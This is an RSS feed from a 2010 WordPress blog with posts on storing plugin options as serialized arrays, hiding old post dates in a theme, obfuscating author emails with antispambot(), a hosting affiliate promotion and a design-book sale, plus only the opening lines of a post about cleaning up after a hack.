<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>I Like WordPress!</title>
	
	<link>http://ilikewordpress.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Mon, 06 Sep 2010 21:21:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/ILikeWordpress" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="ilikewordpress" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">ILikeWordpress</feedburner:emailServiceId><feedburner:feedburnerHostname xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>WordPress Plugins – Using the Options Table Properly</title>
		<link>http://ilikewordpress.com/324/wordpress-plugins-using-the-options-table-properly/</link>
		<comments>http://ilikewordpress.com/324/wordpress-plugins-using-the-options-table-properly/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 16:02:52 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[WordPress plugins]]></category>
		<category><![CDATA[best practice]]></category>
		<category><![CDATA[developers]]></category>
		<category><![CDATA[options]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[wp options]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=324</guid>
		<description><![CDATA[Note: if you&#8217;re not a WordPress plugin developer, this probably won&#8217;t interest you. I ran across this again today, hence my rant: I installed a plugin from the WordPress Plugin Repository ( the place that hosts WordPress plugins so you can download them ), THEN looked through the code. This small specialty plugin added 17 [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=WordPress+Plugins+-+Using+the+Options+Table+Properly+http://is.gd/diRjS+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=147' alt='' /></a></div>
<p>Note: if you&#8217;re not a WordPress plugin developer, this probably won&#8217;t interest you.</p>
<p>I ran across this again today, hence my rant:</p>
<p>I installed a plugin from the WordPress Plugin Repository ( the place that hosts WordPress plugins so you can download them ), THEN looked through the code. This small specialty plugin <strong>added 17 options</strong> to the options table!</p>
<p>WP developer peeps, there is no excuse for this. By adding so many options, you clog up the options table. Unless you specify the option as an autoload, you&#8217;re using a database read every time you call get_option(). What a waste!</p>
<p>What should you do instead? Glad you asked!</p>
<p>Combine your options into an array. Easy smeasy. WordPress will store your options array as serialized data. Return get_option() to a variable at the start of your script, giving you easy access to all its components.</p>
<p>The WordPress core is getting sizable enough that responsible developers need to optimize their code as much as possible. Eliminating unnecessary database reads/writes is a good first step.</p>
<p>If you need an example, leave a comment and I&#8217;ll post one.</p>
<p>EDIT: as requested, here&#8217;s a couple of examples. First, what many developers do but <strong>shouldn&#8217;t</strong>:</p>
<pre class="brush: php;">

$myoption1 = &quot;ted&quot;;
$myoption2 = &quot;fred&quot;;
$myoption3 = &quot;jed&quot;;

update_option( 'myoption1', $myoption1);
update_option( 'myoption2', $myoption2);
update_option( 'myoption3', $myoption3);
</pre>
<p>Notice how the above uses <strong>3 different options</strong>: myoption1, myoption2, myoption3. These take up 3 rows in the database, and require 3 different calls to get_option() when the data is needed. Now, 3 isn&#8217;t very many &#8211; but consider when your plugin uses 30 or 40 different options or presets ( some of mine do ). The potential to clutter up the database and cause a slowdown in your page load times is huge.</p>
<p>Here&#8217;s how you <strong>should</strong> code your options:</p>
<pre class="brush: php;">

$myoptions = array( 'option1' =&gt; 'ted', 'option2' =&gt; 'fred', 'option3' =&gt; 'jed');
update_option( 'myoption', $myoptions );
</pre>
<p>And that&#8217;s all there is to it. The update_option function recognizes that you are passing an array and serializes the values for entry in the database. When you need to retrieve the options, simply call get_option into an array variable, and access from there. One call, 40 options. Lotsa overhead saved <img src='http://ilikewordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<pre class="brush: php;">

$myoptions = get_option( 'myoption');

/*
now, $myoptions['option1'] = 'ted', $myoptions['option2'] = 'fred', and so on.
*/
</pre>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>147 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=WordPress+Plugins+-+Using+the+Options+Table+Properly+http://is.gd/diRjS+from:+@steveinidaho'>Tweet this post</a>) </div>
<p><a href="http://feedads.g.doubleclick.net/~a/5mWP2kteFQASL7b-oV1jtMhx6kU/0/da"><img src="http://feedads.g.doubleclick.net/~a/5mWP2kteFQASL7b-oV1jtMhx6kU/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/5mWP2kteFQASL7b-oV1jtMhx6kU/1/da"><img src="http://feedads.g.doubleclick.net/~a/5mWP2kteFQASL7b-oV1jtMhx6kU/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=M2Us3AB1PD8:YP7YOBAPNZg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=M2Us3AB1PD8:YP7YOBAPNZg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?i=M2Us3AB1PD8:YP7YOBAPNZg:V_sGLiPBpWU" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/324/wordpress-plugins-using-the-options-table-properly/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Free Month Web Hosting from HostGator</title>
		<link>http://ilikewordpress.com/319/free-month-web-hosting-from-hostgator/</link>
		<comments>http://ilikewordpress.com/319/free-month-web-hosting-from-hostgator/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 20:03:13 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[Blogging in General]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[add-on domains]]></category>
		<category><![CDATA[free web hosting]]></category>
		<category><![CDATA[HostGator]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[multiple domains]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[web hosting]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=319</guid>
		<description><![CDATA[I don&#8217;t put my stamp of approval on too many things, but I do need to tell you about the hosting that I use and highly recommend &#8211; HostGator. I have been on the web for over 10 years now, and seen a lot of hosting companies come and go, and used several. Never have [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Free+Month+Web+Hosting+from+HostGator+http://is.gd/dbKL5+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=65' alt='' /></a></div>
<p>I don&#8217;t put my stamp of approval on too many things, but I do need to tell you about the hosting that I use and highly recommend &#8211; <a href="/hostgator">HostGator</a>.</p>
<p>I have been on the web for over 10 years now, and seen a lot of hosting companies come and go, and used several. Never have I had the experience that I have had with <a href="/hostgator">HostGator</a>. It&#8217;s been, in a word, fantastic.</p>
<div id="attachment_320" class="wp-caption alignleft" style="width: 125px">
	<a href="/hostgator"><img class="size-full wp-image-320" title="hostgator125x125" src="http://ilikewordpress.com/wp-content/uploads/2010/07/hostgator125x125.gif" alt="" width="125" height="125" /></a>
	<p class="wp-caption-text">Remember to use the coupon code &quot;ILIKEWORDPRESS&quot; for your first month free!</p>
</div>
<h4>Support</h4>
<p>Number one, their support has been great. I have experienced a handful of isolated problems over the last 3 years I&#8217;ve been with them, and all were handled promptly, professionally, and <strong>FAST</strong>. There&#8217;s nothing worse than having a client call in the middle of the night crying, &#8220;my site is down!&#8221; In those situations, I need the problem handled quickly, and <a href="/hostgator">HostGator</a> has never let me down.</p>
<h4>Features</h4>
<p>What a hosting company can do for me is important. I need technical goodies, I need plenty of bandwidth and storage space, and I don&#8217;t need to be nitpicked over how many databases I use. HostGator shines in that department. Unlimited storage, unlimited domains, unlimited bandwidth, unlimited MySQL databases. Of course, &#8216;unlimited&#8217; doesn&#8217;t always mean <em><strong>unlimited</strong></em>. If your account starts hogging server resources, you&#8217;ll garner some attention.</p>
<p>That said, I&#8217;ve never had it be an issue. On one of my Baby accounts, I run 35 sites. Admittedly, they&#8217;re not high-volume super popular sites, but they get their share of traffic.</p>
<h4>Special Deal for ILikeWordPress.com readers</h4>
<p>HostGator has allowed me to offer you a special deal! Use the coupon code &#8220;ILIKEWORDPRESS&#8221; and get your first month&#8217;s Baby plan hosting for only $0.01!! That&#8217;s right &#8211; ONE PENNY. How cool is that?</p>
<p>Go ahead and get signed up &#8211; click any of the links to <a href="/hostgator">go to HostGator</a>, or one of the banners, and remember to use coupon code ILIKEWORDPRESS at checkout for your discount!</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>65 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=Free+Month+Web+Hosting+from+HostGator+http://is.gd/dbKL5+from:+@steveinidaho'>Tweet this post</a>) </div>
<p><a href="http://feedads.g.doubleclick.net/~a/Uf-XKQs9y6Qh9P_PiZbu-i5zp4Q/0/da"><img src="http://feedads.g.doubleclick.net/~a/Uf-XKQs9y6Qh9P_PiZbu-i5zp4Q/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Uf-XKQs9y6Qh9P_PiZbu-i5zp4Q/1/da"><img src="http://feedads.g.doubleclick.net/~a/Uf-XKQs9y6Qh9P_PiZbu-i5zp4Q/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=t0fYI3bqPw0:gaBObMjKwYw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=t0fYI3bqPw0:gaBObMjKwYw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?i=t0fYI3bqPw0:gaBObMjKwYw:V_sGLiPBpWU" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/319/free-month-web-hosting-from-hostgator/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Hide Blog Post Date In Your WordPress Theme</title>
		<link>http://ilikewordpress.com/304/hide-blog-post-date-in-your-wordpress-theme/</link>
		<comments>http://ilikewordpress.com/304/hide-blog-post-date-in-your-wordpress-theme/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 20:25:33 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=304</guid>
		<description><![CDATA[While visiting Lynn Terry&#8217;s Clicknewz blog, I noticed something that I hadn&#8217;t really given a lot of thought to: is there a reason to NOT display a blog post&#8217;s date? (Off-Topic Warning &#8211; Lynn writes a fantastic blog on Internet Marketing with posts like Taking Daily Action: Huge Goals, Little Steps &#8211; you really should [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Hide+Blog+Post+Date+In+Your+WordPress+Theme+http://is.gd/d2vko+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=tweet' alt='' /></a></div>
<p>While visiting <a href="http://www.clicknewz.com/">Lynn Terry&#8217;s Clicknewz</a> blog, I noticed something that I hadn&#8217;t really given a lot of thought to: is there a reason to NOT display a blog post&#8217;s date? (<strong>Off-Topic Warning</strong> &#8211; Lynn writes a fantastic blog on Internet Marketing with posts like <a href="http://www.clicknewz.com/2226/taking-daily-action/">Taking Daily Action: Huge Goals, Little Steps</a> &#8211; you really should check it out if you&#8217;re interested in making money on the net)</p>
<p>Anyway, Lynn doesn&#8217;t display post dates on her blog posts except for some of the archive listings. After checking out quite a few other blogs, I see that somewhere around 25% of bloggers do NOT put dates on their posts.</p>
<p>After communing with the great and powerful Google, I found this post by Darren Rowse of ProBlogger: <a href="http://www.problogger.net/archives/2008/07/22/dates-on-blogs/">Dates on Blog Posts – Should You Have Them?</a> where he discusses the question at length.</p>
<p>I&#8217;m not going to get into the question of whether you should or shouldn&#8217;t display the date on your blog posts other than to say that personally, I find it annoying when I can&#8217;t find a post date. Knowing when a piece was written adds a certain relevance to my consideration of the post content.</p>
<p>One of the suggestions Darren made was to display the date only on recent posts:</p>
<blockquote><p><strong>Dates on Recent Posts But Not on Older Ones </strong>- I saw one  blogger do this last year (I’m afraid I don’t remember who it was).  They had hacked WordPress so that dates appeared on recent posts (within  the last 3 months) but anything older than that did not have time  stamps either on the post or comments. This meant that the blogger  benefited from new posts looking new and took the potential distraction  of old posts away from readers. I don’t know exactly how the blogger did  it but presume they set up a rule that looked at the date of authorship  and then determined whether the date would be displayed or not.</p></blockquote>
<p>The &#8216;hack&#8217; that Darren mentions is actually pretty easy, if you&#8217;re comfortable modifying your theme files. Using WordPress&#8217;s new &#8220;twentyten&#8221; theme that comes packed with <a href="http://wordpress.org/download/">WordPress 3.0</a>, I&#8217;ll show you exactly what you have to do to show the post dates on single posts only if they&#8217;re fresher than 3 months old. 3 months is an arbitrary figure, by the way, so adjust it to whatever spins your prop.</p>
<p><strong>Note</strong>: the new twentyten theme wraps up the post meta information ( date, author, etc.) into a function. When you disable this function, you&#8217;ll lose that line completely, exactly like Lynn&#8217;s posts.</p>
<p>I recommend that you do NOT use the built-in theme editor in WordPress, especially when you&#8217;re messing around with PHP coding. One misplaced semi-colon and you could render your blog DOA. Then the only cure is to use an FTP client and replace the screwed-up theme file. If you <strong>MUST </strong>use the built-in editor, be certain that you have a clean backup of the file you&#8217;re working on!</p>
<p>So, step one: locate the single.php file within the twentyten theme folder and <strong>make a backup</strong>.</p>
<p>Open single.php in your fav text editor. The section that holds the meta display code begins on line 25 and looks like this (disregard the line #s in the examples that follow):</p>
<pre class="brush: php;">
&lt;div class=&quot;entry-meta&quot;&gt;
  &lt;?php twentyten_posted_on(); ?&gt;
&lt;/div&gt;&lt;!-- .entry-meta --&gt;
</pre>
<p>What we&#8217;re going to do is to insert a test &#8211; is the post less than 90 days old? If so, display the post particulars. If not, leave it blank.</p>
<p>To do that, we&#8217;ll use a simple &#8216;if&#8217; statement, comparing the date 90 days ago with that of the post. We will use PHP&#8217;s useful strtotime() date conversion function to make things easy:</p>
<pre class="brush: php;">
&lt;?php
if ( strtotime( get_the_date() ) &gt; strtotime( &quot;90 days ago&quot; ) ) {
?&gt;
&lt;div class=&quot;entry-meta&quot;&gt;
 &lt;?php twentyten_posted_on(); ?&gt;
&lt;/div&gt;
&lt;?php
 }
 ?&gt;
</pre>
<p>The <a href="http://us2.php.net/manual/en/function.strtotime.php">strtotime()</a> function converts whatever is in the parentheses to a Unix timestamp. The function <a href="http://codex.wordpress.org/Template_Tags/get_the_date">get_the_date()</a> is a new WordPress 3.0 function that fetches the post date and returns it in the format specified in your preferences.</p>
<p>And there you have it &#8211; no more dates on posts older than 90 days old.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>No TweetBacks yet.</strong> (<a href='http://twitter.com/home?status=Hide+Blog+Post+Date+In+Your+WordPress+Theme+http://is.gd/d2vko+from:+@steveinidaho'>Be the first to Tweet this post</a>)</div>
<p><a href="http://feedads.g.doubleclick.net/~a/6NpA0fTzE_Xn9MSbcskMp0S001o/0/da"><img src="http://feedads.g.doubleclick.net/~a/6NpA0fTzE_Xn9MSbcskMp0S001o/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/6NpA0fTzE_Xn9MSbcskMp0S001o/1/da"><img src="http://feedads.g.doubleclick.net/~a/6NpA0fTzE_Xn9MSbcskMp0S001o/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=Xwjhw1uEQQo:cgK_3ox6TeA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=Xwjhw1uEQQo:cgK_3ox6TeA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?i=Xwjhw1uEQQo:cgK_3ox6TeA:V_sGLiPBpWU" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/304/hide-blog-post-date-in-your-wordpress-theme/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Protect Your Email Address From Spammers</title>
		<link>http://ilikewordpress.com/97/protect-your-email-address-from-spammers/</link>
		<comments>http://ilikewordpress.com/97/protect-your-email-address-from-spammers/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 15:11:30 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[Tech stuff]]></category>
		<category><![CDATA[Template coding]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=97</guid>
		<description><![CDATA[So you&#8217;ve started a new blog, and now the worst has happened &#8211; the spammers have your email address. You know, the one that&#8217;s on every post where you&#8217;re listed as the author. You can do what a lot of people do to combat the dreaded email harvester. Give them a throw-away address to chew [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Protect+Your+Email+Address+From+Spammers+http://is.gd/cyiux+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=326' alt='' /></a></div>
<p>So you&#8217;ve started a new blog, and now the worst has happened &#8211; the spammers have your email address. You know, the one that&#8217;s on every post where you&#8217;re listed as the author.</p>
<p>You can do what a lot of people do to combat the dreaded email harvester. Give them a throw-away address to chew on, and when the spam gets too bad close that account and start another. Throw-away addresses are the free accounts &#8211; Hotmail, Yahoo, GMail.</p>
<p>But that&#8217;s a pain.</p>
<p>Why not just make it so the spam bots can&#8217;t find your email address in the first place? Fortunately, it&#8217;s pretty easily done, using a built-in WordPress function: <a title="http://codex.wordpress.org/Function_Reference/antispambot" href="http://codex.wordpress.org/Function_Reference/antispambot">antispambot()</a>. This function takes the email address enclosed in the parentheses, converts it to HTML entities ( the &amp;#xx characters ) and returns the value.</p>
<p>How do you use it? Again, pretty simple. Somewhere in your templates, if the template author chose to display your email address at all, is a call to the WordPress template tag <a title="Template Tags/the author email" href="http://codex.wordpress.org/Template_Tags/the_author_email">the_author_email()</a>. This tag, as you might suspect, outputs the post author&#8217;s email address. Open your single.php template (the most likely template to display the author&#8217;s email address ) in your fav text editor, and search for the tag. Once you&#8217;ve found it, you&#8217;ll make the substitution. Change <code>the_author_email()</code> to the following:</p>
<p><code>echo antispambot( get_the_author_email())</code></p>
<p>Nothing to it, right?</p>
<p>Those of you with sharp eyes will notice we&#8217;re using a slightly different function to get the author&#8217;s email address &#8211; get_the_author_email() vs. the_author_email(). The difference is that the latter actually outputs the email address to the screen, and we don&#8217;t want that. We want to pass the email address to the antispambot() function rather than print it to the screen, so we use the get_the_author_email() function which <strong>returns</strong> the value rather than <strong>echo</strong>ing it. Small but important distinction.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>326 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=Protect+Your+Email+Address+From+Spammers+http://is.gd/cyiux+from:+@steveinidaho'>Tweet this post</a>) </div>
<p><a href="http://feedads.g.doubleclick.net/~a/syGhfBDv0qQOiUfBIsSiskHPFoE/0/da"><img src="http://feedads.g.doubleclick.net/~a/syGhfBDv0qQOiUfBIsSiskHPFoE/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/syGhfBDv0qQOiUfBIsSiskHPFoE/1/da"><img src="http://feedads.g.doubleclick.net/~a/syGhfBDv0qQOiUfBIsSiskHPFoE/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=Dg-icSLLwLI:Y6Kw6kKrEBg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=Dg-icSLLwLI:Y6Kw6kKrEBg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?i=Dg-icSLLwLI:Y6Kw6kKrEBg:V_sGLiPBpWU" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/97/protect-your-email-address-from-spammers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Graphic Design Book Blowout! Over 70% Off Retail!</title>
		<link>http://ilikewordpress.com/291/graphic-design-book-blowout-over-70-off-retail/</link>
		<comments>http://ilikewordpress.com/291/graphic-design-book-blowout-over-70-off-retail/#comments</comments>
		<pubDate>Sun, 28 Mar 2010 17:27:02 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Tech stuff]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=291</guid>
		<description><![CDATA[I am done completely with print design and design in general. Because it&#8217;s also spring-cleaning time for my office in preparation for a move, these books really need to find a new home. I would prefer to sell them as one package, but let me know if there&#8217;s one or two that you want. There [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Graphic+Design+Book+Blowout%21+Over+70%25+Off+Retail%21+http://is.gd/b3NhV+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=tweet' alt='' /></a></div>
<p>I am done completely with print design and design in general. Because it&#8217;s also spring-cleaning time for my office in preparation for a move, these books really need to find a new home. I  would prefer to sell them as one package, but let me know if there&#8217;s one or two that you want.</p>
<p>There are almost $250 worth of books here, all in good shape. They have been read, though, so they&#8217;re not pristine.</p>
<p>Buy-it-now price: $75 + $10 shipping, total $85. Hit the preloaded PayPal button below or at the end of the post. Yes, you can use credit card or debit card.</p>
<p>Or &#8211; give me an offer. I&#8217;d like to see these go to someone who can use them and will appreciate them.</p>
<form style="text-align: center;" action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_s-xclick">
<input type="hidden" name="hosted_button_id" value="XYZFR5MTL8EY8">
<input type="image" src="https://www.paypal.com/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"  style="width: 122px; border: none; background: transparent;" >
<img alt="" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1"><br />
</form>
<p><img src="http://ecx.images-amazon.com/images/I/512i04f2f5L._SL160_.jpg" alt="" /> Graphic effects and typographic treatments. Jim Krause, $22.99 USD. ISBN 1-58180-046-0</p>
<p><img src="http://ecx.images-amazon.com/images/I/515bTVmux%2BL._SL160_.jpg" alt="" /> Brochure, poster/flyer, web design, advertising, newsletter, page layout, stationery ideas. Jim Krause, $22.99 USD. ISBN 1-58180-146-7</p>
<p><img src="http://ecx.images-amazon.com/images/I/51MAF1WE4NL._SL160_.jpg" alt="" /> An index of 150+ concepts, images and exercises to ignite your design  ingenuity. Jim Krause, $24.99 USD. ISBN 1-58180-438-5</p>
<p><img src="http://ecx.images-amazon.com/images/I/51MxJK29EML._SL160_.jpg" alt="" /> Over 1100 Color Combinations, CMYK &amp; RGB Formulas, for print and web media. Jim Krause, $23.99 USD. ISBN 1-58180-236-6</p>
<p><img src="http://ecx.images-amazon.com/images/I/41fxWU6VCPL._SL160_.jpg" alt="" /> A graphic designer&#8217;s guide to designing effective compositions, selecting dynamic components &amp; devloping creative concepts. Jim Krause, $24.99 USD. ISBN 1-58180-501-2</p>
<p><img src="http://ecx.images-amazon.com/images/I/51j3paLw4OL._SL160_.jpg" alt="" /> 375+ pages of design ideas, edited by the famous David E. Carter, $29.99 USD. ISBN 0-06-008763-3</p>
<p><img src="http://ecx.images-amazon.com/images/I/41QW3VWFNHL._SL160_.jpg" alt="" /> Design and Typographic Principles for the Visual Novice, Robin Williams, $14.95USD. ISBN 1-56609-159-4</p>
<p><img src="http://ecx.images-amazon.com/images/I/51AFQ4R3WGL._SL160_.jpg" alt="" /> The Non-Designer&#8217;s Type Book, Robin Williams, $24.99USD. ISBN 0-201-35367-9</p>
<p><img src="http://ecx.images-amazon.com/images/I/51B1MSE5E9L._SL160_.jpg" alt="" /> Everything you need to know to create dynamic layouts. Graham Davis, $21.99USD. ISBN  1-58180-260-9</p>
<p><img src="http://ecx.images-amazon.com/images/I/51BF6Z5XDCL._SL160_.jpg" alt="" /> Design principles, decisions, projects. David Dabner, $23.99USD. ISBN 1-58180-435-0</p>
<form style="text-align: center;" action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_s-xclick">
<input type="hidden" name="hosted_button_id" value="XYZFR5MTL8EY8">
<input type="image" src="https://www.paypal.com/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"  style="width: 122px; border: none; background: transparent;" >
<img alt="" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1"><br />
</form>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>No TweetBacks yet.</strong> (<a href='http://twitter.com/home?status=Graphic+Design+Book+Blowout%21+Over+70%25+Off+Retail%21+http://is.gd/b3NhV+from:+@steveinidaho'>Be the first to Tweet this post</a>)</div>
<p><a href="http://feedads.g.doubleclick.net/~a/T94XAwcc4r_EvoCom2P8a7-Ztr4/0/da"><img src="http://feedads.g.doubleclick.net/~a/T94XAwcc4r_EvoCom2P8a7-Ztr4/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/T94XAwcc4r_EvoCom2P8a7-Ztr4/1/da"><img src="http://feedads.g.doubleclick.net/~a/T94XAwcc4r_EvoCom2P8a7-Ztr4/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=eTu7iJ2Zr44:__zXe-InM8s:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=eTu7iJ2Zr44:__zXe-InM8s:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?i=eTu7iJ2Zr44:__zXe-InM8s:V_sGLiPBpWU" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/291/graphic-design-book-blowout-over-70-off-retail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cleaning Up the Aftermath of a Hacker Attack</title>
		<link>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/</link>
		<comments>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 17:52:28 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[PHP goodies]]></category>
		<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[hack attack]]></category>
		<category><![CDATA[malicious files]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=278</guid>
		<description><![CDATA[The same project that led to the post Loading WordPress From index.php involved cleaning up after a hacking incident. In fact, that&#8217;s what the initial work order was for. This blog was hit recently by the same attack that has been in the news for the last few days. Lorelle on WordPress wrote some things [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Cleaning+Up+the+Aftermath+of+a+Hacker+Attack+http://is.gd/35gKN+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=564' alt='' /></a></div>
<p>The same project that led to the post <a href="http://ilikewordpress.com/274/loading-wordpress-from-index-php/">Loading WordPress From index.php</a> involved cleaning up after a hacking incident. In fact, that&#8217;s what the initial work order was for.</p>
